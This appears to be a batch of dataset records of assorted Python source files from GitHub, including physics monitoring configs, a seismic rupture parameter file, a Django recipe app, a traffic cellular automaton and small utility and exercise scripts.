opt='kAlwaysCreate' for error plots so that empty plots will still be published, for sanity checks\n\n histPath = trigPath+'Errors'\n\n # Pedestal correction over-/underflows (EM)\n groupErrors_EM.defineHistogram('etaTT;ppm_em_1d_pedOverflow_Eta', \n title='EM : Overflow of pedestal correction;#eta', \n type='TH1F', path=histPath, xbins=etabins, \n cutmask='mask_PedCorrOverflow', \n opt='kAlwaysCreate')\n \n groupErrors_EM.defineHistogram('etaTT;ppm_em_1d_pedUnderflow_Eta', \n title='EM : Underflow of pedestal correction;#eta', \n type='TH1F', path=histPath, xbins=etabins, \n cutmask='mask_PedCorrUnderflow', \n opt='kAlwaysCreate')\n\n # Pedestal correction over-/underflows (HAD)\n groupErrors_HAD.defineHistogram('etaTT;ppm_had_1d_pedOverflow_Eta', \n title='HAD : Overflow of pedestal correction;#eta', \n type='TH1F', path=histPath, xbins=etabins_HAD_1D, \n cutmask='mask_PedCorrOverflow', \n opt='kAlwaysCreate')\n\n groupErrors_HAD.defineHistogram('etaTT;ppm_had_1d_pedUnderflow_Eta', \n title='HAD : Underflow of pedestal correction;#eta', \n type='TH1F', path=histPath, xbins=etabins_HAD_1D, \n cutmask='mask_PedCorrUnderflow', \n opt='kAlwaysCreate') \n \n\n # Finish up\n\n acc = helper.result()\n result.merge(acc)\n return result\n\n\nif __name__=='__main__':\n # set input file and config options\n from AthenaConfiguration.AllConfigFlags import ConfigFlags\n import glob\n\n inputs = glob.glob('/eos/atlas/atlascerngroupdisk/data-art/build-output/master/Athena/x86_64-centos7-gcc8-opt/2020-04-06T2139/TrigP1Test/test_trigP1_v1PhysP1_T0Mon_build/ESD.pool.root')\n\n ConfigFlags.Input.Files = inputs\n ConfigFlags.Output.HISTFileName = 'ExampleMonitorOutput_LVL1.root'\n\n ConfigFlags.lock()\n ConfigFlags.dump() # print all the configs\n\n from AthenaCommon.AppMgr import ServiceMgr\n ServiceMgr.Dump = False\n\n from AthenaConfiguration.MainServicesConfig import MainServicesSerialCfg \n from AthenaPoolCnvSvc.PoolReadConfig import PoolReadCfg\n cfg = MainServicesSerialCfg()\n cfg.merge(PoolReadCfg(ConfigFlags))\n\n PprMonitorCfg = PprMonitoringConfig(ConfigFlags)\n cfg.merge(PprMonitorCfg)\n\n # message level for algorithm\n PprMonitorCfg.getEventAlgo('PprMonAlg').OutputLevel = 2 # 1/2 INFO/DEBUG\n # options - print all details of algorithms, very short summary \n cfg.printConfig(withDetails=True, summariseProps = True)\n\n nevents=-1\n status = cfg.run(nevents)\n if status.isFailure():\n import sys\n sys.exit(-1)\n","repo_name":"Yusuf-Manjra/athena-old","sub_path":"Trigger/TrigT1/TrigT1CaloMonitoring/python/PprMonitorAlgorithm.py","file_name":"PprMonitorAlgorithm.py","file_ext":"py","file_size_in_byte":20033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2278840583","text":"'''\nParameter file for fakequakes run, with Christine's Hayward discretization\n'''\n\n\nfrom mudpy import fakequakes,runslip,forward,viewFQ\nimport numpy as np\nfrom obspy.core import UTCDateTime\n\n\n\n######## GLOBALS ########\nhome='/Users/dmelgar/fakequakes/'\nproject_name='Hayward'\nrun_name='hayward'\n################################################################################\n\n\n############## What do you want to do?? ##################\ninit=0\nmake_ruptures=1\nmake_GFs=0\nmake_synthetics=0\nmake_waveforms=0\n# Things that only need to be done once\nload_distances=0\nG_from_file=0\n###############################################################################\n\n\n############# Run-time parameters ##################\nncpus=8\n\nmodel_name='gil7.mod' # Velocity model\nfault_name='hayward.fault' # Fault geometry\nslab_name=None # Slab 1.0 Ascii file, set to None for simple geometry\nmesh_name=None # GMSH output file, set to None for simple geometry\ndistances_name='heyward_dist' # Name of dist matrix\nrupture_list='onerup.list'\nUTM_zone='10S'\nscaling_law='S' # T for thrust, S for strike-slip, N for normal\n\n#Station information\nGF_list='four_stations.gflist'\nG_name='bard'\n\nNrealizations=10 # Number of fake ruptures to generate per magnitude bin\ntarget_Mw=np.linspace(6.0,7.4,8) # Of what approximate magnitudes\nmax_slip=8 #Maximum slip (m) allowed in the model\n\n# Displacement and velocity waveform parameters\nNFFT=256 ; dt=1.0\n#fk-parameters\ndk=0.1 ; pmin=0 ; pmax=1 ; kmax=20\ncustom_stf=None\n\n# Correlation function parameters\nhurst=0.75\nLdip='auto'\nLstrike='auto'\nlognormal=True\nslip_standard_deviation=0.9\n\n# Rupture parameters\ntime_epi=UTCDateTime('2016-09-07T14:42:26')\nsource_time_function='dreger' # options are 'triangle' or 'cosine'\nstf_falloff_rate=6 #Only affects Dreger STF, choose 4-8 are reasonable values\nnum_modes=500\nrake=180\nrise_time_depths=[5,8] #Transition depths for rise time scaling\nbuffer_factor=0.5\n###############################################################################\n\n\n\n#Initalize project folders\nif init==1:\n fakequakes.init(home,project_name)\n \n#Generate rupture models\nif make_ruptures==1:\n fakequakes.generate_ruptures(home,project_name,run_name,fault_name,slab_name,\n mesh_name,load_distances,distances_name,UTM_zone,target_Mw,model_name,\n hurst,Ldip,Lstrike,num_modes,Nrealizations,rake,buffer_factor,\n rise_time_depths,time_epi,max_slip,source_time_function,lognormal,\n slip_standard_deviation,scaling_law)\n \n# Prepare waveforms and synthetics \nif make_GFs==1 or make_synthetics==1:\n runslip.inversionGFs(home,project_name,GF_list,None,fault_name,model_name,\n dt,None,NFFT,None,make_GFs,make_synthetics,dk,pmin,\n pmax,kmax,0,time_epi,0,ncpus,custom_stf,impulse=True) \n \nif make_waveforms==1:\n forward.waveforms_fakequakes(home,project_name,fault_name,rupture_list,GF_list,\n model_name,run_name,dt,NFFT,G_from_file,G_name,source_time_function,\n stf_falloff_rate)","repo_name":"dmelgarm/MudPy","sub_path":"examples/fakequakes/planar/hayward.fq.py","file_name":"hayward.fq.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"62"} +{"seq_id":"38188121262","text":"from accumulation import *\nimport argparse\nimport os \n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-k\", \"--kitti_dir\", help=\"path to kitti360 dataset\")\nparser.add_argument(\"-o\", \"--output_dir\", help=\"path to output_dir\")\nargs = parser.parse_args()\nroot_dir = args.kitti_dir\noutput_dir = args.output_dir\n\n\nfor sequence in os.listdir(os.path.join(root_dir,\"data_3d_raw\")):\n all_spcds = os.listdir(os.path.join(os.path.join(os.path.join(root_dir,\"data_3d_semantics\"),sequence),\"static\"))\n all_spcds.sort()\n for i in range(len(all_spcds)):\n spcd = all_spcds[i]\n if i == 0:\n spcd_prev = None \n else:\n spcd_prev = all_spcds[i-1]\n if i == len(all_spcds)-1:\n spcd_next = None \n else:\n spcd_next = all_spcds[i+1]\n partial_name = os.path.splitext(spcd)[0].split('_')\n first_frame = int(partial_name[0])\n last_frame = int(partial_name[1])\n PA = PointAccumulation(root_dir, output_dir, sequence, first_frame, last_frame, 20, 1, 0.02, True, True)\n PA.createOutputDir()\n PA.loadTransformation()\n PA.getInterestedWindow()\n PA.loadTimestamps()\n PA.addVelodynePoints()\n PA.getPointsInRange()\n PA.recoverLabel(spcd,spcd_prev,spcd_next,0.5)\n PA.writeToFiles()\n","repo_name":"JulesSanchez/recoverKITTI360label","sub_path":"recoverLabels.py","file_name":"recoverLabels.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"62"} +{"seq_id":"15403565616","text":"# coding=utf-8\n\n\ndef read_dict(path):\n f = open(path)\n a = f.read()\n data = eval(a)\n f.close()\n return data\n\n\ndef write_dict(path, dict_data):\n f = open(path, \"w\")\n f.write(str(dict_data))\n f.close()\n","repo_name":"simmonssong/SDFS","sub_path":"utils/io_utils.py","file_name":"io_utils.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28944369420","text":"from asyncio.windows_events import NULL\nimport pandas as pd\nimport chardet\nimport string\nimport numpy as np\nfrom FileUtilities import DataSet\n#pywebioComment_import pywebio\n\nclass TransformIntegrate:\n def __init__(self, target_df, writer):\n self.target_df = target_df\n self.writer = writer\n\n def integrate(self, normalized_df):\n #======================== ADD MISSING COLUMNS ========================================================================================#\n #There is no attribute in the source dataset to populate the currency column of the target dataset. However, there aren't \n # any nulls in the target database either and as the source contains only Swiss data, I populate the currency field with \"CHF\":\n normalized_df[\"currency\"] = \"CHF\"\n\n # There is no attribute in the source dataset to populate the country column of the target dataset. However, there aren't \n # any nulls in the target database either and as the source contains only Swiss data, I populate the currency field with \"CH\":\n normalized_df[\"country\"] = \"CH\"\n\n # The unit in the supplier data is km.\n normalized_df[\"mileage_unit\"] = \"kilometer\"\n\n # There is no attribute in the source dataset to populate the POR column of the target dataset. However, there aren't any nulls in the \n # target database either and also 75% of the current data is false. Assuming it is the default value, I populate the currency field with false:\n normalized_df[\"price_on_request\"] = False #kept as boolean in the target\n\n\n # mileage is kept as float with one digit after the decimal point. I convert the source accordingly:\n normalized_df[\"Km\"] = normalized_df[\"Km\"].astype('float64')\n normalized_df[\"Km\"] = normalized_df[\"Km\"].round(1)\n\n normalized_df.loc[normalized_df[\"ConsumptionTotalText\"]!=\"null\",\"ConsumptionTotalText\"]=\"l_km_consumption\"\n normalized_df.loc[normalized_df[\"ConsumptionTotalText\"]==\"null\",\"ConsumptionTotalText\"]=np.nan\n\n # There is no attribute in the source dataset to populate zip field. So I do not add a column for that. Also, in the target database,\n # the zip's of the records from CH are all null. \n \n # There is also no attribute in the source dataset to populate drive field. So I do not add a column for that. \n\n #======================== INTEGRATE =============================================================================================#\n # rename the source dataset columns so that they match the column names of the target dataset\n\n column_mappings= DataSet(\"../ColumnMappings.xlsx\").data_frame()\n columns_dict = dict(zip(column_mappings[\"source\"],column_mappings[\"target\"]))\n normalized_df = normalized_df.rename(columns=columns_dict)\n normalized_df = pd.concat([self.target_df, normalized_df], ignore_index=True)\n\n # Output to Excel:\n normalized_df.to_excel(self.writer, sheet_name='Integrated',index=False)\n #pywebioComment_pywebio.output.put_html(normalized_df.to_html(border=0))\n\n \n\n\n","repo_name":"CaglaYu/Data-Analyst-Remote-Task","sub_path":"src/Integration.py","file_name":"Integration.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3893663557","text":"# Use the file name mbox-short.txt as the file name\nfname = input(\"Enter file name: \")\nfh = open(fname)\nvalues=[]\ncount=0\nresult=0\nfor line in fh:\n if line.startswith(\"X-DSPAM-Confidence:\") : \n count+=1\n f_val=line.find('0')\n values.append(float(line[f_val:]))\nfor val in values:\n result=result+val\nprint(\"Average spam confidence: \"+str(result/len(values)))","repo_name":"sandyjswl/coursera-python-specialization","sub_path":"Python Data Structures/Assignments/assigment_7.2.py","file_name":"assigment_7.2.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"18339434470","text":"from django.shortcuts import render,redirect\nfrom .forms import UserRegistrationForm, CreateProfileForm, LoginForm,adForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom .models import Profile\nfrom django.contrib.auth.models import User\nfrom recipes.models import recipe\nfrom django.db.models import Q\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic import TemplateView\nfrom django.utils.decorators import method_decorator\nfrom recipes.models import *\nfrom recipes.forms import *\nfrom django.shortcuts import render, get_object_or_404\n\n# Create your views here.\n\nclass UserHome(TemplateView):\n model = Profile\n template_name = 'home/home.html'\n context = {}\n\n def get_object(self,user):\n return Profile.objects.get(user=user)\n\n def get(self,request,*args,**kwargs):\n user = request.user.id\n if user:\n data = recipe.objects.filter(~Q(created_by=user))\n self.context['data'] = data\n try:\n profile = self.get_object(user)\n self.context['profile'] = 'pro_exist'\n return render(request,self.template_name,self.context)\n except Exception:\n return render(request,self.template_name, self.context)\n return redirect('home')\n\n\nclass UserRegister(TemplateView):\n model = User\n form_class = UserRegistrationForm\n context = {}\n template_name = 'users/registration.html'\n\n def get(self,request,*args,**kwargs):\n self.context['form'] = self.form_class()\n return render(request,self.template_name,self.context)\n\n def post(self,request,*args,**kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n form.save()\n return redirect('login')\n else:\n self.context['form'] = form\n return render(request, self.template_name,self.context)\n\n\nclass SignIn(TemplateView):\n form_class = LoginForm\n context = {}\n template_name = 'users/login.html'\n\n def get(self,request,*args,**kwargs):\n self.context['form'] = self.form_class()\n return render(request, self.template_name, self.context)\n\n def post(self,request,*args,**kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(request, username=username, password=password)\n if user:\n login(request, user)\n return redirect('userhome')\n else:\n self.context['form'] = form\n return render(request,self.template_name, self.context)\n\n\n@method_decorator(login_required(login_url='login'), name='dispatch')\nclass CreateProfile(TemplateView):\n form_class = CreateProfileForm\n context = {}\n template_name = 'users/createprofile.html'\n\n def get(self,request,*args,**kwargs):\n form = self.form_class(initial={'user':request.user})\n self.context['form'] = form\n return render(request,self.template_name, self.context)\n\n def post(self,request,*args,**kwargs):\n form = self.form_class(data=request.POST,files=request.FILES)\n if form.is_valid():\n form.save()\n return redirect('viewprofile')\n else:\n self.context['form'] = form\n return render(request,self.template_name, self.context)\n\n\nclass SignOut(TemplateView):\n def get(self,request,*args,**kwargs):\n logout(request)\n return redirect('home')\n\n\nclass ViewProfile(TemplateView):\n context = {}\n template_name = 'users/viewprofile.html'\n\n def get(self,request,*args,**kwargs):\n user_id = request.user.id\n try:\n profile = Profile.objects.get(user=user_id)\n self.context['profile'] = profile\n except Exception:\n pass\n data = recipe.objects.filter(created_by=user_id)\n self.context['data'] = data\n return render(request,self.template_name,self.context)\n\n\n@method_decorator(login_required(login_url='login'),name='dispatch')\nclass EditProfile(TemplateView):\n context = {}\n form_class = CreateProfileForm\n template_name = 'users/editprofile.html'\n\n def get_object(self,request):\n return Profile.objects.get(user = request.user)\n\n def get(self, request, *args, **kwargs):\n user = self.get_object(request)\n form = self.form_class(instance=user)\n self.context['form'] = form\n return render(request, self.template_name, self.context)\n\n def post(self,request,*args,**kwargs):\n user = self.get_object(request)\n form = self.form_class(data=request.POST,files=request.FILES,instance=user)\n if form.is_valid():\n form.save()\n return redirect('viewprofile')\n else:\n return render(request, self.template_name, self.context)\n\n\n\n\nclass Viewrecip(TemplateView):\n context = {}\n template_name = 'users/Viewrecip.html'\n\n def get(self,request,*args,**kwargs):\n user_id = request.user.id\n try:\n profile = Profile.objects.get(user=user_id)\n self.context['profile'] = profile\n except Exception:\n pass\n data = recipe.objects.filter(created_by=user_id)\n self.context['data'] = data\n return render(request,self.template_name,self.context)\n\n\n\n\n\nclass admin_logs(TemplateView):\n form_class = adForm\n context = {}\n template_name = 'users/adminlogin.html'\n\n def get(self,request,*args,**kwargs):\n self.context['form'] = self.form_class()\n return render(request, self.template_name, self.context)\n def post(self,request,*args,**kwargs):\n form = self.form_class(request.POST)\n # if request.method=='POST':\n if form.is_valid():\n \n # username = request.POST['username']\n # password = request.POST['password']\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n # user = adminlogin(request, username=username, password=password)\n if adminlogin.objects.filter(username=username,password=password).exists():\n x=adminlogin.objects.get(username=username,password=password)\n return redirect('admin_home')\n else:\n # self.context['form'] = ''\n return render(request,self.template_name)\n\n\nclass admin_home(TemplateView):\n context = {}\n template_name = 'users/adminhome.html'\n def get(self,request,*args,**kwargs):\n return render(request, self.template_name, self.context)\n \n\nclass user_view(TemplateView):\n context = {}\n template_name = 'users/userview.html'\n def get(self,request,*args,**kwargs):\n data = Profile.objects.all()\n self.context['data'] = data\n return render(request, self.template_name, self.context)\n\n\nclass admin_recipe_view(TemplateView):\n context = {}\n template_name = 'users/admin_recipe_view.html'\n def get(self,request,*args,**kwargs):\n user = request.user.id\n if user:\n return redirect('userhome')\n data = recipe.objects.all()\n self.context['data'] = data\n return render(request,self.template_name , self.context)\n \n\n \n\nclass admin_logs(TemplateView):\n form_class = adForm\n context = {}\n template_name = 'users/adminlogin.html'\n\n def get(self,request,*args,**kwargs):\n # self.context['form'] = self.form_class()\n return render(request, self.template_name, self.context)\n def post(self,request,*args,**kwargs):\n form = self.form_class(request.POST)\n # if request.method=='POST':\n if form.is_valid():\n # username = request.POST['username']\n # password = request.POST['password']\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n # user = adminlogin(request, username=username, password=password)\n if adminlogin.objects.filter(username=username,password=password).exists():\n x=adminlogin.objects.get(username=username,password=password)\n return redirect('admin_home')\n else:\n # self.context['form'] = ''\n return render(request,self.template_name)\n\n\n\n\nclass approve(TemplateView):\n template_name = 'users/approve.html'\n context ={}\n\n def post(self, request, *args, **kwargs):\n id = self.kwargs.get('id')\n obj = get_object_or_404(recipe, id=id)\n obj.approved = True\n obj.save()\n return render(request, self.template_name, {'obj': obj})\n\n\nclass admin_view_recipe(TemplateView):\n template_name = 'users/admin_view_recipe.html'\n context = {}\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n id = self.kwargs.get('id') \n obj = get_object_or_404(recipe, id=id)\n context['my_object'] = obj\n return context\n def post(self, request, *args, **kwargs):\n id = self.kwargs.get('id')\n obj = get_object_or_404(recipe, id=id)\n obj.stat = True\n obj.save()\n return render(request, self.template_name, {'my_object': obj})\n\nclass Approved_recipes(TemplateView):\n template_name = 'users/Approved_recipes.html'\n context = {}\n def get(self,request,*args,**kwargs):\n user = request.user.id\n if user:\n return redirect('userhome')\n data = recipe.objects.all()\n self.context['data'] = data\n return render(request,self.template_name , self.context)","repo_name":"HitechPrjects/billing_app_repo1","sub_path":"Desktop/Django-main/RecipesProject/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30478045860","text":"import json\nimport openai\nimport re\n\nGPT_MODEL = \"gorilla-openfunctions-v1\"\nopenai.api_key = \"EMPTY\"\nopenai.api_base = \"http://18.221.156.100:8000/v1\"\n\ndef extract_function_arguments(response):\n \"\"\"\n Extracts the keyword arguments of a function call from a program given as a string.\n\n :param response: The response from gorilla open functions LLM\n :return: A list of dictionaries, each containing key-value pairs of arguments.\n \"\"\"\n\n # regex to match the name of the function call\n pattern = r\"([^\\s(]+)\\(\"\n function_name = re.findall(pattern, response)[0]\n\n# Define a regex pattern to match the function call\n # This pattern matches the function name followed by an opening parenthesis,\n # then captures everything until the matching closing parenthesis\n pattern = rf\"{re.escape(function_name)}\\((.*?)\\)\"\n\n # Find all matches in the program string\n match = re.findall(pattern, response)[0]\n\n arg_pattern = r\"(\\w+)\\s*=\\s*('[^']*'|\\\"[^\\\"]*\\\"|\\w+)\"\n args = re.findall(arg_pattern, match)\n\n # Convert the matches to a dictionary\n arg_dict = {key.strip(): value.strip() for key, value in args}\n return {\n \"name\" : function_name,\n \"arguments\" : arg_dict,\n }\n\ndef get_gorilla_response(prompt=\"Call me an Uber ride type \\\"Plus\\\" in Berkeley at zipcode 94704 in 10 minutes\", model=\"gorilla-openfunctions-v1\", functions=[]):\n def get_prompt(user_query, functions=[]):\n if len(functions) == 0:\n return f\"USER: <> {user_query}\\nASSISTANT: \"\n functions_string = json.dumps(functions)\n return f\"USER: <> {user_query} <> {functions_string}\\nASSISTANT: \"\n prompt = get_prompt(prompt, functions=functions)\n try:\n completion = openai.ChatCompletion.create(\n model=model,\n temperature=0.0,\n messages=[{\"role\": \"user\", \"content\": prompt}],\n )\n return completion.choices[0].message.content\n except Exception as e:\n print(e, model, prompt)\n\nfunctions = [\n {\n \"name\": \"get_current_weather\",\n \"description\": \"Get the current weather in a given location\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"location\": {\n \"type\": \"string\",\n \"description\": \"The city and state, e.g. San Francisco, CA\",\n },\n \"unit\": {\"type\": \"string\", \"enum\": [\"celsius\", \"fahrenheit\"]},\n },\n \"required\": [\"location\"],\n },\n }\n]\n\nresponse = get_gorilla_response(\"What's the weather in Los Angeles in degrees Fahrenheit?\", functions=functions)\nprint(extract_function_arguments(response))","repo_name":"Trainy-ai/llm-atc","sub_path":"examples/gorilla_open_functions/test_openai_gorilla.py","file_name":"test_openai_gorilla.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"62"} +{"seq_id":"26948749808","text":"\"\"\"\n\nCreate a function that returns the sum of the two lowest positive numbers\ngiven an array of minimum 4 integers. No floats or empty arrays will be passed.\n\nFor example, when an array is passed like [19, 5, 42, 2, 77],\nthe output should be 7.\n\n[10, 343445353, 3453445, 3453545353453] should return 3453455.\n\n\"\"\"\n\nnum_list = [19, 5, 42, 2, 77]\n\ndef sum_two_smallest_numbers(numbers):\n sorted_numbers = sorted(numbers)\n get_two_lowest = (sorted_numbers)[:2]\n sum_two_lowest = sum(get_two_lowest)\n return sum_two_lowest\n\n\nprint(sum_two_smallest_numbers(num_list))","repo_name":"saadazghour/Challenges-CodeWars","sub_path":"Sum_of_two_lowest_positive_integers.py","file_name":"Sum_of_two_lowest_positive_integers.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"40999182088","text":"import firebase_admin, os\nfrom firebase_admin import credentials,db\n\ncred = credentials.Certificate('')\ncred = credentials.Certificate('authKey.json')\n\nfirebase_admin.initialize_app(cred, {\n 'databaseURL' : 'https://proyectoi-invedu-default-rtdb.firebaseio.com/'\n})\n\n\ndef home():\n result = db.reference(\"/\").get('/proveedores', None)\n return str(result)\n\nnProv = \"3333333-3\"\ndef setRef():\n ref = db.reference('/').child(\"proveedores\")\n return ref\ndef getAllProv(ref):\n return print(ref.get())\n\ndef putNewProv(ref,nProv):\n ref.put({\n nProv:\n {\n 'Nombre': 'test1',\n 'apellido': 'apptest'\n }\n })\n\n\"\"\"for i in ref:\n rut = ref.child(i).child(\"rut\").get()\n razon_social = str(ref.child(i).child(\"razonSocial\").get())\n print(rut, razon_social)\"\"\"\n\n\"\"\"nProv = \"3333333-3\"\nnew_prov = ref.child(nProv)\nrut = new_prov.child(\"rut\")\nrazon_social = str(new_prov.child(\"razonSocial\").get())\nprint(\"Rut:\" + rut)\nprint(\"Razon social:\" + razon_social)\"\"\"\n\"\"\"ref.push({\n '19176913-2' :\n {\n 'Nombre':'test1',\n 'apellido':'apptest'\n }\n})\"\"\"","repo_name":"JehielMunoz/Flask-Inventario","sub_path":"database/conn.py","file_name":"conn.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13598166734","text":"class Solution(object):\n def max_min(self, arr, k):\n \"\"\"Find the min span that covers k numbers in input list\"\"\"\n arr = sorted(arr)\n diffs = [arr[i] - arr[i-(k-1)] for i in range(k-1, len(arr))]\n return (min(diffs))\n \nif __name__ == \"__main__\":\n n = int(input().strip())\n k = int(input().strip())\n arr = []\n for i in range(n):\n n = int(input().strip())\n arr.append(n)\n print(Solution().max_min(arr, k))\n ","repo_name":"patrick-llgc/HackerRank","sub_path":"Max_Min.py","file_name":"Max_Min.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25587050201","text":"from __future__ import division\n\nfrom cellgraph import CellGraph, System, COLORS\nfrom random import randint, random\n\n\nclass NagelSchreckenberg(System):\n \"\"\"1: (1, 0), 2: (0, 1), 3: (-1, 0), 4: (0, -1) directions,\n un carro sera representado por una lista (velocidad, direccion)\"\"\"\n\n def __init__(self, name, colors, width=0, height=0, filename=None, vmax=5,\n breakProbability=0.5, turnProbability=0.5):\n if filename:\n matrix, width, height = self.getMatrixFromFile(filename)\n else:\n matrix = [[[0, 0]] * width for i in range(height)]\n\n super(NagelSchreckenberg, self).__init__(matrix, colors, width=width,\n height=height)\n\n self.turnProbability = turnProbability\n self.breakProbability = breakProbability\n self.vmax = vmax\n\n def getMatrixFromFile(self, filename):\n \"\"\"en el se especifica la velocidad del carro y al lado su direccion\"\"\"\n\n matrix = super(NagelSchreckenberg, self).getMatrixFromFile(filename)\n\n width = len(matrix[0])\n height = len(matrix)\n\n output = [[0] * (width // 2) for i in range(height)]\n\n for i in range(height):\n for j in range(0, width, 2):\n output[i][j // 2] = matrix[i][j:j + 2]\n\n return output, width // 2, height\n\n def getColor(self, i, j):\n return self.colors.get(self.matrix[i][j][0], 'BLACK')\n\n def putVerticalCar(self, number):\n ready = number\n while ready != 0:\n i = randint(0, self.height - 1)\n j = randint(0, self.width - 1)\n\n if self.matrix[i][j] == [-1, -1]:\n self.matrix[i][j] = [randint(0, self.vmax), 4]\n ready -= 1\n\n def putHorizontalCar(self, number):\n ready = number\n while ready != 0:\n i = randint(0, self.height - 1)\n j = randint(0, self.width - 1)\n\n if self.matrix[i][j] == [-1, -1]:\n self.matrix[i][j] = [randint(0, self.vmax), 1]\n ready -= 1\n\n def putCars(self, vertical=0, horizontal=0):\n if vertical + horizontal <= self.width * self.height:\n self.putVerticalCar(vertical)\n self.putHorizontalCar(horizontal)\n\n def findPredecessorDistant(self, i, j):\n distant = 0\n\n if self.matrix[i][j][1] == 1:\n while distant <= self.width:\n if self.matrix[i][(j + distant) % self.width]:\n break\n distant += 1\n else:\n while distant <= self.height:\n if self.matrix[(i + distant) % self.height][j]:\n break\n distant += 1\n\n return distant\n\n def breakForInteraction(self):\n for i in range(self.height):\n for j in range(self.width):\n if self.matrix[i][j][0] != -1:\n distant = self.findPredecessorDistant(i, j)\n self.matrix[i][j][0] = min(distant, self.matrix[i][j][0])\n\n def breakProbability(self):\n for i in range(self.height):\n for j in range(self.width):\n if self.breakProbability > random():\n self.matrix[i][j][0] = min(self.matrix[i][j][0] - 1, 0)\n\n def updateVelocity(self):\n for i in range(self.height):\n for j in range(self.width):\n if self.matrix[i][i][0] != -1:\n self.matrix[i][j][0] = min(self.vmax, self.matrix[i][j][0] + 1)\n\n def findCeroFromColumn(self, column):\n for i in range(self.height):\n if self.matrix[i][column] == 0:\n return i\n\n def findCeroFromRow(self, row):\n for j in range(self.width):\n if self.matrix[row][j] == 0:\n return j\n\n def updateVertical(self):\n for column in range(self.width):\n zero = self.findCeroFromColumn(column)\n if isinstance(zero, int):\n for i in range(self.height):\n row = (zero - i) % self.height\n # distant self.matrix[row][column][0]\n if (self.matrix[row][column] != -1 and self.matrix[(row + self.matrix[row][column][0]) % self.height][column] == -1 and self.matrix[i][j][1] == 1):\n self.matrix[(row + self.matrix[row][column][0]) % self.height][column] = 1\n self.matrix[row][column] = [-1, -1]\n\n def updateHorizontal(self):\n for row in range(self.height):\n zero = self.findCeroFromRow(row)\n if isinstance(zero, int):\n for j in range(self.width):\n column = (zero - j) % self.width\n # distant self.matrix[row][column][0]\n if (self.matrix[row][column] != -1 and self.matrix[row][(column + self.matrix[row][column][0]) % self.width] == -1 and self.matrix[i][j][1] == 4):\n self.matrix[row][(column + self.matrix[row][column][0]) % self.width] = 2\n self.matrix[row][column] = [-1, -1]\n\n def update(self):\n self.updateVelocity()\n self.updateVertical()\n self.updateHorizontal()\n\n\ndef main():\n colors = {0: 'BLACK', 1: 'RED', 2: 'BLUE', 3: 'YELLOW', 4: 'ORANGE',\n -1: 'WHITE'}\n\n nagel = NagelSchreckenberg('nagel', colors, filename='prueba.txt', vmax=4)\n\n print(nagel.matrix)\n\n # nagel.putCars(20, 20)\n\n # graph = CellGraph(nagel, fps=20)\n\n # graph.run(True)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Luispapiernik/Automatas","sub_path":"NagelSchreckenberg/nagel_schreckenberg.py","file_name":"nagel_schreckenberg.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20117591553","text":"import json\n\nwith open('C:\\\\Users\\\\slugg\\\\Documents\\\\GitHub\\\\Hash-Join\\\\Hash-Join\\\\data1.json') as a:\n data1 = json.loads(a.read())\nwith open('C:\\\\Users\\\\slugg\\\\Documents\\\\GitHub\\\\Hash-Join\\\\Hash-Join\\\\data2.json') as b: \n data2 = json.load(b)\n\ntotalBuckets = 10\n\nhashTable1 = [[] for _ in range(totalBuckets)]\nhashTable2 = [[] for _ in range(totalBuckets)]\nFinalTable = [[] for _ in range(totalBuckets)]\n\ndef hashVal(key):\n return key % totalBuckets\n\ndef insert(hashTable, key, obj):\n intKey = int(key)\n hashKey = hashVal(intKey)\n hashTable[hashKey].append(obj)\n\ndef compare(hashTable):\n for i in range(len(hashTable)):\n for key in range(len(hashTable[i])):\n checkTable2(i, key, hashTable[i][key]['ID'],hashTable[i][key])\n\ndef checkTable2(i, key, id, dictVal):\n checked = False\n for j in range(len(hashTable2[i])):\n if(hashTable2[i][j]['ID'] == id):\n if (checked == False):\n newDict = {}\n newDict.update(dictVal)\n newDict.update(hashTable2[i][j])\n FinalTable[i].append(newDict)\n checked = True\n else:\n FinalTable[i][key].update(hashTable2[i][j])\n\nfor j in data1:\n insert(hashTable1, j['ID'], j)\n\nfor j in data2:\n insert(hashTable2, j['ID'], j)\n\ncompare(hashTable1)\nprint(\"\\n\\n\")\n\nprint(\"Hashed R1\")\nfor s in hashTable1:\n print(*s)\n\nprint(\"\\nHashed R2\")\nfor s in hashTable2:\n print(*s)\n\nprint(\"\\nFinal Hash Join\")\nfor s in FinalTable:\n 